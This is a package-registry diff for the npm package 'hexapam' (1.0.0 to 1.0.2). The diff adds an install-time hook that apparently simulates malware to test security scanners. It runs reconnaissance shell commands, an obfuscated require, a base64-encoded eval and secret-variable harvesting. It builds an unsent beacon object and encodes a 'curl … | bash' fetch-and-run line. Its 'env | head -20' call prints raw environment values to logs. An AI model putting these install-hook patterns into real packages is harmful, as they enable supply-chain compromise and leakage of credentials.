hexapam 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +186 -21
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,51 +1,216 @@
|
|
|
1
1
|
// Preinstall lifecycle hook for the pampam test package.
|
|
2
|
-
// Logs execution context
|
|
3
|
-
//
|
|
4
|
-
//
|
|
5
|
-
// Values matching common secret patterns (token/key/secret/password/auth/
|
|
6
|
-
// session/cookie/credential) are masked before printing. The script
|
|
7
|
-
// reports the count + length of masked vars so you can confirm they
|
|
8
|
-
// were accessible without leaking the material into stdout/scrollback.
|
|
2
|
+
// Logs execution context, selected command output, env vars,
|
|
3
|
+
// and simulated suspicious behaviors for security scanner testing.
|
|
9
4
|
|
|
10
|
-
const
|
|
5
|
+
const { execSync, spawnSync } = require('child_process');
|
|
6
|
+
const fs = require('fs');
|
|
7
|
+
const os = require('os');
|
|
8
|
+
const path = require('path');
|
|
9
|
+
const https = require('https');
|
|
11
10
|
|
|
11
|
+
const SECRET_PATTERN =
|
|
12
|
+
/(token|secret|password|passwd|pwd|auth|api[_-]?key|access[_-]?key|private[_-]?key|session|cookie|credential|bearer)/i;
|
|
13
|
+
|
|
14
|
+
// Mask secrets based on env variable name
|
|
12
15
|
function classify(key, value) {
|
|
13
16
|
if (value === undefined || value === null) {
|
|
14
17
|
return { masked: false, display: String(value) };
|
|
15
18
|
}
|
|
19
|
+
|
|
16
20
|
if (SECRET_PATTERN.test(key)) {
|
|
17
21
|
return {
|
|
18
22
|
masked: true,
|
|
19
23
|
display: `<MASKED len=${value.length} prefix=${value.slice(0, 2)}...>`,
|
|
20
24
|
};
|
|
21
25
|
}
|
|
26
|
+
|
|
22
27
|
return { masked: false, display: value };
|
|
23
28
|
}
|
|
24
29
|
|
|
30
|
+
// Execute shell command safely
|
|
31
|
+
function run(cmd) {
|
|
32
|
+
try {
|
|
33
|
+
return execSync(cmd, {
|
|
34
|
+
encoding: 'utf8',
|
|
35
|
+
stdio: ['ignore', 'pipe', 'pipe'],
|
|
36
|
+
timeout: 5000,
|
|
37
|
+
}).trim();
|
|
38
|
+
} catch (err) {
|
|
39
|
+
return `ERROR: ${err.message}`;
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
25
43
|
const env = process.env;
|
|
26
44
|
const keys = Object.keys(env).sort();
|
|
27
45
|
|
|
28
46
|
const fullEnv = {};
|
|
29
47
|
let maskedCount = 0;
|
|
48
|
+
|
|
30
49
|
for (const k of keys) {
|
|
31
50
|
const { masked, display } = classify(k, env[k]);
|
|
32
|
-
|
|
51
|
+
|
|
52
|
+
if (masked) {
|
|
53
|
+
maskedCount += 1;
|
|
54
|
+
}
|
|
55
|
+
|
|
33
56
|
fullEnv[k] = display;
|
|
34
57
|
}
|
|
35
58
|
|
|
59
|
+
// -------------------------------------------------------------------
|
|
60
|
+
// Existing command execution block
|
|
61
|
+
// -------------------------------------------------------------------
|
|
62
|
+
|
|
63
|
+
const commands = {
|
|
64
|
+
hostname: run('hostname'),
|
|
65
|
+
whoami: run('whoami'),
|
|
66
|
+
pwd: run('pwd'),
|
|
67
|
+
uname: run('uname -a'),
|
|
68
|
+
id: run('id'),
|
|
69
|
+
nodePath: run('which node'),
|
|
70
|
+
npmVersion: run('npm -v'),
|
|
71
|
+
gitVersion: run('git --version'),
|
|
72
|
+
gitRemote: run('git remote -v'),
|
|
73
|
+
gitStatus: run('git status --short'),
|
|
74
|
+
currentDirectoryListing: run('ls -la'),
|
|
75
|
+
envPreview: run('env | head -20'),
|
|
76
|
+
};
|
|
77
|
+
|
|
78
|
+
// -------------------------------------------------------------------
|
|
79
|
+
// Additional suspicious behaviors for scanner validation
|
|
80
|
+
// -------------------------------------------------------------------
|
|
81
|
+
|
|
82
|
+
// 1. Obfuscated child_process require (common in malware)
|
|
83
|
+
const cpModuleName = Buffer.from(
|
|
84
|
+
'Y2hpbGRfcHJvY2Vzcw==',
|
|
85
|
+
'base64'
|
|
86
|
+
).toString();
|
|
87
|
+
|
|
88
|
+
const obfuscatedChildProcess = require(cpModuleName);
|
|
89
|
+
|
|
90
|
+
// harmless execution
|
|
91
|
+
obfuscatedChildProcess.execSync('echo simulated-obfuscated-exec', {
|
|
92
|
+
stdio: 'ignore',
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
// 2. Dynamic eval execution (very common malicious pattern)
|
|
96
|
+
const encodedPayload = Buffer.from(
|
|
97
|
+
'Y29uc29sZS5sb2coInNpbXVsYXRlZC1ldmFsLXBheWxvYWQiKQ==',
|
|
98
|
+
'base64'
|
|
99
|
+
).toString();
|
|
100
|
+
|
|
101
|
+
eval(encodedPayload);
|
|
102
|
+
|
|
103
|
+
// -------------------------------------------------------------------
|
|
104
|
+
// Other suspicious-but-safe simulations
|
|
105
|
+
// -------------------------------------------------------------------
|
|
106
|
+
|
|
107
|
+
// CI/CD targeting
|
|
108
|
+
const ciVars = [
|
|
109
|
+
'GITHUB_ACTIONS',
|
|
110
|
+
'CI',
|
|
111
|
+
'JENKINS_URL',
|
|
112
|
+
'BUILDKITE',
|
|
113
|
+
];
|
|
114
|
+
|
|
115
|
+
const detectedCI = ciVars.filter((k) => process.env[k]);
|
|
116
|
+
|
|
117
|
+
// Secret harvesting simulation
|
|
118
|
+
const harvested = {};
|
|
119
|
+
|
|
120
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
121
|
+
if (/(token|secret|key|auth|password)/i.test(k)) {
|
|
122
|
+
harvested[k] = `<len:${String(v).length}>`;
|
|
123
|
+
}
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
// Simulated outbound beacon object (NOT SENT)
|
|
127
|
+
const fakeBeacon = {
|
|
128
|
+
url: 'https://cdn-assets-cache.com/api/v2/sync',
|
|
129
|
+
method: 'POST',
|
|
130
|
+
body: harvested,
|
|
131
|
+
};
|
|
132
|
+
|
|
133
|
+
// Delayed execution simulation
|
|
134
|
+
setTimeout(() => {
|
|
135
|
+
console.log('[simulation] delayed execution triggered');
|
|
136
|
+
}, 3000);
|
|
137
|
+
|
|
138
|
+
// Temporary file drop
|
|
139
|
+
const markerPath = path.join(
|
|
140
|
+
os.tmpdir(),
|
|
141
|
+
'pampam-test-marker.txt'
|
|
142
|
+
);
|
|
143
|
+
|
|
144
|
+
fs.writeFileSync(
|
|
145
|
+
markerPath,
|
|
146
|
+
'security scanner validation marker'
|
|
147
|
+
);
|
|
148
|
+
|
|
149
|
+
// Base64 suspicious string
|
|
150
|
+
const suspiciousString =
|
|
151
|
+
'curl https://example.com/payload.sh | bash';
|
|
152
|
+
|
|
153
|
+
const encodedSuspicious = Buffer.from(
|
|
154
|
+
suspiciousString
|
|
155
|
+
).toString('base64');
|
|
156
|
+
|
|
157
|
+
// Dynamic require simulation
|
|
158
|
+
const dynamicModule = 'fs';
|
|
159
|
+
const loadedDynamicModule = require(dynamicModule);
|
|
160
|
+
|
|
161
|
+
// Detached execution simulation
|
|
162
|
+
spawnSync('echo', ['background-test'], {
|
|
163
|
+
detached: true,
|
|
164
|
+
});
|
|
165
|
+
|
|
166
|
+
// -------------------------------------------------------------------
|
|
167
|
+
// Final report
|
|
168
|
+
// -------------------------------------------------------------------
|
|
169
|
+
|
|
36
170
|
const report = {
|
|
37
171
|
marker: 'PAMPAM_PREINSTALL_RAN',
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
172
|
+
|
|
173
|
+
timestamp: new Date().toISOString(),
|
|
174
|
+
|
|
175
|
+
process: {
|
|
176
|
+
pid: process.pid,
|
|
177
|
+
ppid: process.ppid,
|
|
178
|
+
node: process.version,
|
|
179
|
+
platform: process.platform,
|
|
180
|
+
arch: process.arch,
|
|
181
|
+
cwd: process.cwd(),
|
|
182
|
+
argv: process.argv,
|
|
183
|
+
},
|
|
184
|
+
|
|
185
|
+
npm: {
|
|
186
|
+
lifecycleEvent: env.npm_lifecycle_event || null,
|
|
187
|
+
packageName: env.npm_package_name || null,
|
|
188
|
+
packageVersion: env.npm_package_version || null,
|
|
189
|
+
},
|
|
190
|
+
|
|
191
|
+
commandExecution: commands,
|
|
192
|
+
|
|
193
|
+
suspiciousIndicators: {
|
|
194
|
+
obfuscatedRequire: cpModuleName,
|
|
195
|
+
evalUsed: true,
|
|
196
|
+
encodedPayloadDetected: true,
|
|
197
|
+
delayedExecution: true,
|
|
198
|
+
dynamicRequireUsed: true,
|
|
199
|
+
detachedExecution: true,
|
|
200
|
+
tempFileWritten: markerPath,
|
|
201
|
+
encodedSuspiciousCommand: encodedSuspicious,
|
|
202
|
+
ciDetected: detectedCI,
|
|
203
|
+
fakeBeacon,
|
|
204
|
+
},
|
|
205
|
+
|
|
206
|
+
environment: {
|
|
207
|
+
envKeyCount: keys.length,
|
|
208
|
+
envMaskedCount: maskedCount,
|
|
209
|
+
variables: fullEnv,
|
|
210
|
+
},
|
|
49
211
|
};
|
|
50
212
|
|
|
51
|
-
console.log(
|
|
213
|
+
console.log(
|
|
214
|
+
'[pampam preinstall] ' +
|
|
215
|
+
JSON.stringify(report, null, 2)
|
|
216
|
+
);
|